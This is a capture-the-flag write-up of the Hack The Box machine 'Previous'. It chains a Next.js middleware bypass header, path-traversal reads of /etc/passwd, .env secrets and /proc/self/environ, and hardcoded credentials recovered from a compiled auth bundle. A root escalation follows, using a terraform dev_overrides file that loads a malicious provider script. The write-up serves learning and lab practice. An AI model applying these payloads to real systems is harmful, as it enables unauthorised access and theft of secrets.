1. Discovery and Enumeration

  • previous.htb on /etc/hosts
rustscan -a 10.129.16.194 --ulimit 5000
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
Nmap? More like slowmap.🐒

[~] The config file is expected to be at "/home/kali/.rustscan.toml"
[~] Automatically increasing ulimit value to 5000.
Open 10.129.16.194:22
Open 10.129.16.194:80
[~] Starting Script(s)
[~] Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 12:23 WET
Initiating Ping Scan at 12:23
Scanning 10.129.16.194 [4 ports]
Completed Ping Scan at 12:23, 0.09s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 12:23
Completed Parallel DNS resolution of 1 host. at 12:23, 0.01s elapsed
DNS resolution of 1 IPs took 0.01s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0]
Initiating SYN Stealth Scan at 12:23
Scanning 10.129.16.194 [2 ports]
Discovered open port 22/tcp on 10.129.16.194
Discovered open port 80/tcp on 10.129.16.194
Completed SYN Stealth Scan at 12:23, 0.08s elapsed (2 total ports)
Nmap scan report for 10.129.16.194
Host is up, received reset ttl 63 (0.039s latency).
Scanned at 2025-12-16 12:23:13 WET for 0s

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 0.32 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (128B)
sudo nmap -p80,22 -sS -sC -sV 10.129.16.194 -T5 --vv
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-16 12:24 WET
NSE: Loaded 157 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Initiating Ping Scan at 12:24
Scanning 10.129.16.194 [4 ports]
Completed Ping Scan at 12:24, 0.08s elapsed (1 total hosts)
Initiating SYN Stealth Scan at 12:24
Scanning previous.htb (10.129.16.194) [2 ports]
Discovered open port 80/tcp on 10.129.16.194
Discovered open port 22/tcp on 10.129.16.194
Completed SYN Stealth Scan at 12:24, 0.08s elapsed (2 total ports)
Initiating Service scan at 12:24
Scanning 2 services on previous.htb (10.129.16.194)
Completed Service scan at 12:24, 6.09s elapsed (2 services on 1 host)
NSE: Script scanning 10.129.16.194.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 1.47s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.17s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Nmap scan report for previous.htb (10.129.16.194)
Host is up, received echo-reply ttl 63 (0.039s latency).
Scanned at 2025-12-16 12:24:37 WET for 8s

PORT   STATE SERVICE REASON         VERSION
22/tcp open  ssh     syn-ack ttl 63 OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack ttl 63 nginx 1.18.0 (Ubuntu)
|_http-title: PreviousJS
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 12:24
Completed NSE at 12:24, 0.00s elapsed
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.24 seconds
           Raw packets sent: 6 (240B) | Rcvd: 3 (116B)

2. Port 80

Manual Recon

On a manual recon, all the links go to a login of some sort (API involved) On the main page we find a : jeremy@previous.htb

Vhosts

ffuf -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://previous.htb/ -H 'Host: FUZZ.previous.htb' -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.previous.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

:: Progress: [4989/4989] :: Job [1/1] :: 1025 req/sec :: Duration: [0:00:05] :: Errors: 0 ::

No vhost found

Endpoints

When we try to login on that api we get 3 endpoints while sending a login attempt providers, csrf and the credentials POST.

It seems that it is requesting everything from http://localhost:3000/docs, does it mean we have SSRF?

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt:FUZZ -recursion -u http://previous.htb/api/FUZZ                                   

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-small.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

new                     [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 64ms]
cgi-bin                 [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 62ms]
logo                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 66ms]
12                      [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 71ms]
contact                 [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 72ms]
default                 [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 100ms]
search                  [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 96ms]
spacer                  [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 97ms]
download                [Status: 307, Size: 46, Words: 1, Lines: 1, Duration: 97ms]
images                  [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 97ms]
faq                     [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 97ms]
2006                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 100ms]
privacy                 [Status: 307, Size: 45, Words: 1, Lines: 1, Duration: 97ms]
warez                   [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 100ms]
about                   [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 100ms]
10                      [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 103ms]
img                     [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 100ms]
serial                  [Status: 307, Size: 44, Words: 1, Lines: 1, Duration: 100ms]
news                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 100ms]
full                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 104ms]
blog                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 106ms]
rss                     [Status: 307, Size: 41, Words: 1, Lines: 1, Duration: 103ms]
index                   [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 103ms]
home                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 103ms]
11                      [Status: 307, Size: 40, Words: 1, Lines: 1, Duration: 103ms]
crack                   [Status: 307, Size: 43, Words: 1, Lines: 1, Duration: 103ms]
archives                [Status: 307, Size: 46, Words: 1, Lines: 1, Duration: 49ms]
2005                    [Status: 307, Size: 42, Words: 1, Lines: 1, Duration: 51ms]

Endpoint scanning proved to be unreliable…

WhatWeb

whatweb http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fconfig
http://previous.htb/signin?callbackUrl=http%3A%2F%2Flocalhost%3A3000%2Fapi%2Fconfig [200 OK] 
Country[RESERVED][ZZ], HTML5, 
HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], 
IP[10.129.242.162], 
PasswordField, 
Script[application/json], 
X-Powered-By[Next.js], 
nginx[1.18.0]

Searchsploit

Lets try to see vulns:

searchsploit -x 52124   
  Exploit: Next.js Middleware 15.2.2 -  Authorization Bypass
      URL: https://www.exploit-db.com/exploits/52124
     Path: /usr/share/exploitdb/exploits/multiple/webapps/52124.txt
    Codes: CVE-2025-29927
 Verified: False
File Type: ASCII text


                                                                                                                                                                                                                                                             
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ searchsploit next.js 
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
 Exploit Title                                                                                                                                                                                                             |  Path
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Next.js Middleware 15.2.2 -  Authorization Bypass                                                                                                                                                                          | multiple/webapps/52124.txt
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- ---------------------------------
Shellcodes: No Results
                                                                                                                                                                                                                                                             
β”Œβ”€β”€(kaliγ‰Ώkali)-[~]
└─$ searchsploit -x 52124
# Exploit Title: Next.js Middleware Bypass Vulnerability (CVE-2025-29927)
# Date: 2025-03-26
# Exploit Author: kOaDT
# Vendor Homepage: https://nextjs.org/
# Software Link: https://github.com/vercel/next.js
# Version: 13.0.0 - 13.5.8 / 14.0.0 - 14.2.24 / 15.0.0 - 15.2.2 / 11.1.4 - 12.3.4
# Tested on: Ubuntu 22.04.5 LTS
# CVE: CVE-2025-29927
# PoC: https://raw.githubusercontent.com/kOaDT/poc-cve-2025-29927/refs/heads/main/exploit.js
# POC GitHub Repository: https://github.com/kOaDT/poc-cve-2025-29927/tree/main

Not very successful with this PoC, but basically the cookie: x-middleware-subrequest: middleware is enough to do something FFUF? Nothing…

Had to look online and apparently it only works with: x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware…??? The exploit now gave different things:

β”Œβ”€β”€(kaliγ‰Ώkali)-[~/Downloads/poc-cve-2025-29927]
└─$ npm run exploit 'http://previous.htb/api/signin' 

> poc-cve-2025-29927@0.1.0 exploit
> node exploit.js http://previous.htb/api/signin


=== Next.js CVE-2025-29927 Middleware Bypass Tester ===

Target: http://previous.htb/api/signin

Testing vulnerability...
Making request without bypass header...
Making request with bypass header...
Normal request status: 307
Bypass request status: 404

βœ“ NOT VULNERABLE - Protected Route
The route is protected and the bypass attempt was unsuccessful
Normal request redirected to: /api/auth/signin?callbackUrl=%2Fapi%2Fsignin

I tried to tweak ffuf again and got:

ffuf -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt:FUZZ -u http://previous.htb/api/FUZZ -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware'  -mc all

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
________________________________________________

download                [Status: 400, Size: 28, Words: 2, Lines: 1, Duration: 83ms]
# on atleast 2 different hosts [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
                        [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
# Copyright 2007 James Fisher [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Priority ordered case insensative list, where entries were found  [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 88ms]
# or send a letter to Creative Commons, 171 Second Street,  [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 87ms]
# directory-list-lowercase-2.3-medium.txt [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
#                       [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Attribution-Share Alike 3.0 License. To view a copy of this  [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# This work is licensed under the Creative Commons  [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# Suite 300, San Francisco, California, 94105, USA. [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 89ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/  [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 90ms]
#                       [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 90ms]
#                       [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 100ms]
#                       [Status: 308, Size: 4, Words: 1, Lines: 1, Duration: 99ms]
contact                 [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
privacy                 [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
full                    [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
crack                   [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
index                   [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
about                   [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 123ms]
serial                  [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 122ms]
news                    [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 124ms]
12                      [Status: 404, Size: 2181, Words: 66, Lines: 1, Duration: 124ms]

There is a download link.

Adding this header to Caido:

It got the response: {"error":"Invalid filename"} Lets Ffuf again for the parameter then

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:PARAM -u 'http://previous.htb/api/download?PARAM=passwd' -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' -mc all -fs 28

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://previous.htb/api/download?PARAM=passwd
 :: Wordlist         : PARAM: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Response size: 28
________________________________________________

example                 [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 181ms]
:: Progress: [6453/6453] :: Job [1/1] :: 287 req/sec :: Duration: [0:00:16] :: Errors: 0 ::
                                                                                                

Ok. Now we are in the presence of LFI: http://previous.htb/api/download?example=../../../../../passwd

root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin

… I feel dumb. I just decided to go back to the page and click the docs button with the header there and it worked :D

Got this page:

To be honest, the LFI proved to be more promising…

3. LFI

I am trying to enumerate endpoints: https://nextjs.org/docs/app/getting-started/installation

GET /api/download?example=../../package.json ## This is common to import node_modules

#GOT
{
    "private": true,
    "scripts": {
        "dev": "next dev",
        "build": "next build"
    },
    "dependencies": {
        "@mdx-js/loader": "^3.1.0",
        "@mdx-js/react": "^3.1.0",
        "@next/mdx": "^15.3.0",
        "@tailwindcss/postcss": "^4.1.3",
        "@tailwindcss/typography": "^0.5.16",
        "@types/mdx": "^2.0.13",
        "next": "^15.2.2",
        "next-auth": "^4.24.11",
        "postcss": "^8.5.3",
        "react": "^18.2.0",
        "react-dom": "^18.2.0",
        "tailwindcss": "^4.1.3"
    },
    "devDependencies": {
        "@types/node": "22.14.0",
        "@types/react": "19.1.0",
        "typescript": "5.8.3"
    }
}


GET /api/download?example=../../.env HTTP/1.1
#GOT
NEXTAUTH_SECRET=82a464f1c3509a81d5c973c31a23c61a

GET /api/download?example=../../../../../proc/self/environ
#GOT
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production


According to LLMs, the .next folder is generated when it is running:

.next/
β”œβ”€β”€ server/                 # Server-side bundles (priority for LFI)
β”‚   β”œβ”€β”€ app/                # App Router pages/API routes
β”‚   β”‚   β”œβ”€β”€ api/            # Compiled API handlers
β”‚   β”‚   β”‚   └── auth/       # NextAuth routes w/ secrets
β”‚   β”‚   β”œβ”€β”€ page.rsc        # Root page RSC payload
β”‚   β”‚   └── layout.rsc      # Root layout RSC
β”‚   β”œβ”€β”€ middleware.js       # Middleware (auth bypasses)
β”‚   └── pages-manifest.json # Route mapping
β”œβ”€β”€ static/                 # Client bundles/CSS/JS
β”œβ”€β”€ cache/                  # Build cache (Turbopack/Webpack)
β”œβ”€β”€ data.json               # Build metadata
└── required-server-files.json

More recon:

GET /api/download?example=../../../app/.next/server/pages-manifest.json HTTP/1.1
{
    "/_app": "pages/_app.js",
    "/_error": "pages/_error.js",
    "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js", #this auth is interesting
    "/api/download": "pages/api/download.js",
    "/docs/[section]": "pages/docs/[section].html",
    "/docs/components/layout": "pages/docs/components/layout.html",
    "/docs/components/sidebar": "pages/docs/components/sidebar.html",
    "/docs/content/examples": "pages/docs/content/examples.html",
    "/docs/content/getting-started": "pages/docs/content/getting-started.html",
    "/docs": "pages/docs.html",
    "/": "pages/index.html",
    "/signin": "pages/signin.html",
    "/_document": "pages/_document.js",
    "/404": "pages/404.html"
}

GET /api/download?example=../../../app/.next/server/pages/api/auth/[...nextauth].js


"use strict";(()=>{var e={};e.id=651,e.ids=[651],e.modules={3480:(e,n,r)=>{e.exports=r(5600)},5600:e=>{e.exports=require("next/dist/compiled/next-server/pages-api.runtime.prod.js")},6435:(e,n)=>{Object.defineProperty(n,"M",{enumerable:!0,get:function(){return function e(n,r){return r in n?n[r]:"then"in n&&"function"==typeof n.then?n.then(n=>e(n,r)):"function"==typeof n&&"default"===r?n:void 0}}})},8667:(e,n)=>{Object.defineProperty(n,"A",{enumerable:!0,get:function(){return r}});var r=function(e){return e.PAGES="PAGES",e.PAGES_API="PAGES_API",e.APP_PAGE="APP_PAGE",e.APP_ROUTE="APP_ROUTE",e.IMAGE="IMAGE",e}({})},9832:(e,n,r)=>{r.r(n),r.d(n,{config:()=>l,default:()=>P,routeModule:()=>A});var t={};r.r(t),r.d(t,{default:()=>p});var a=r(3480),s=r(8667),i=r(6435);let u=require("next-auth/providers/credentials"),o={session:{strategy:"jwt"},providers:[r.n(u)()({name:"Credentials",credentials:{username:{label:"User",type:"username"},password:{label:"Password",type:"password"}},authorize:async e=>e?.
username==="jeremy"&&
e.password===(process.env.ADMIN_SECRET??"MyNameIsJeremyAndILovePancakes")
?{id:"1",name:"Jeremy"}:null})],pages:{signIn:"/signin"},secret:process.env.NEXTAUTH_SECRET},d=require("next-auth"),p=r.n(d)()(o),P=(0,i.M)(t,"default"),l=(0,i.M)(t,"config"),A=new a.PagesAPIRouteModule({definition:{kind:s.A.PAGES_API,page:"/api/auth/[...nextauth]",pathname:"/api/auth/[...nextauth]",bundlePath:"",filename:""},userland:t})}};var n=require("../../../webpack-api-runtime.js");n.C(e);var r=n(n.s=9832);module.exports=r})();

jeremy:MyNameIsJeremyAndILovePancakes Lets try ssh with this:

4. ssh

flag: d8f93d0a92fa0ce7493dd4d53596e490 jeremy:MyNameIsJeremyAndILovePancakes

Now lets recon again using sudo -l and linpeas

Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
    
    
ls -la /opt/examples/
total 28
drwxr-xr-x 3 root root 4096 Dec 22 21:41 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12  2025 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Dec 22 21:41 terraform.tfstate

---
sudo /usr/bin/terraform -chdir\=/opt/examples apply
β•·
β”‚ Warning: Provider development overrides are in effect
β”‚ 
β”‚ The following provider development overrides are set in the CLI configuration:
β”‚  - previous.htb/terraform/examples in /usr/local/go/bin
β”‚ 
β”‚ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
β•΅
examples_example.example: Refreshing state... [id=/home/jeremy/docker/previous/public/examples/hello-world.ts]

No changes. Your infrastructure matches the configuration.

Terraform has compared your real infrastructure against your configuration and found no differences, so no changes are needed.

Apply complete! Resources: 0 added, 0 changed, 0 destroyed.                                                                                                                                                                                                  
                                                                                                                                                                                                                                                             
Outputs:                                                                                                                                                                                                                                                     
                                                                                                                                                                                                                                                             
destination_path = "/home/jeremy/docker/previous/public/examples/hello-world.ts"

Terraform Privesc

terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}

variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"

  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}

provider "examples" {}

resource "examples_example" "example" {
  source_path = var.source_path
}

output "destination_path" {
  value = examples_example.example.destination_path
}

What the hell is the provider development? Perplexity was suggesting using a var to change source_path. TF_VAr… Found this: https://developer.hashicorp.com/terraform/cli/config/environment-variables

TF_CLI_CONFIG_FILE

The location of the Terraform CLI configuration file.

export TF_CLI_CONFIG_FILE="$HOME/.terraformrc-custom"

Note that TERRAFORM_CONFIG is a deprecated alias for the TF_CLI_CONFIG_FILE variable. We recommend using TF_CLI_CONFIG_FILE instead of the deprecated TERRAFORM_CONFIG variable.

So, to recap. we have control over this var AND we might be able to Warning: Provider development overrides are in effect make use of this.

According to AI:

you're using a custom, local version of a provider (like VMware NSX-T or a custom one) instead of the official release, bypassing version checks for smoother development, but potentially risking state incompatibility with published versions. This is set via a dev_overrides block in your .terraformrc file.

We can override the provider aparently:

  
## Lets try then
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp/providers"
  }
  direct {}
}


## needs to be dev.tfrc due to dev overrides
jeremy@previous:~$ TF_CLI_CONFIG_FILE=/home/jeremy/dev.tfrc sudo /usr/bin/terraform -chdir=/opt/examples apply
β•·
β”‚ Warning: Provider development overrides are in effect
β”‚ 
β”‚ The following provider development overrides are set in the CLI configuration:
β”‚  - previous.htb/terraform/examples in /home/jeremy
β”‚ 
β”‚ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become incompatible with published releases.
β•΅
β•·
β”‚ Error: Failed to load plugin schemas
β”‚ 
β”‚ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema:
β”‚ Unrecognized remote plugin message: 
β”‚ Failed to read any lines from plugin's stdout
β”‚ This usually means
β”‚   the plugin was not compiled for this architecture,
β”‚   the plugin is missing dynamic-link libraries necessary to run,
β”‚   the plugin is not executable by this process due to file permissions, or
β”‚   the plugin failed to negotiate the initial go-plugin protocol handshake
β”‚ 
β”‚ Additional notes about plugin:
β”‚   Path: /home/jeremy/terraform-provider-examples_v0.1_linux_amd64
β”‚   Mode: -rwxrwxr-x
β”‚   Owner: 1000 [jeremy] (current: 0 [root])
β”‚   Group: 1000 [jeremy] (current: 0 [root])
β”‚ ..
β•΅
jeremy@previous:~$ cat dev.tfrc 
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/home/jeremy"
  }
  direct {}
}

jeremy@previous:~$ cat terraform-provider-examples_v0.1_linux_amd64 
#!/bin/bash
cp /root/root.txt /home/jeremy/pwned.txt
chmod 777 /home/jeremy/pwned.txt

jeremy@previous:~$ cat pwned.txt 
bffd5251bb0ea4fad3e4f038c03998c0

Β©
2026 Daniel Andrade πŸ‘¨πŸ»β€πŸ’»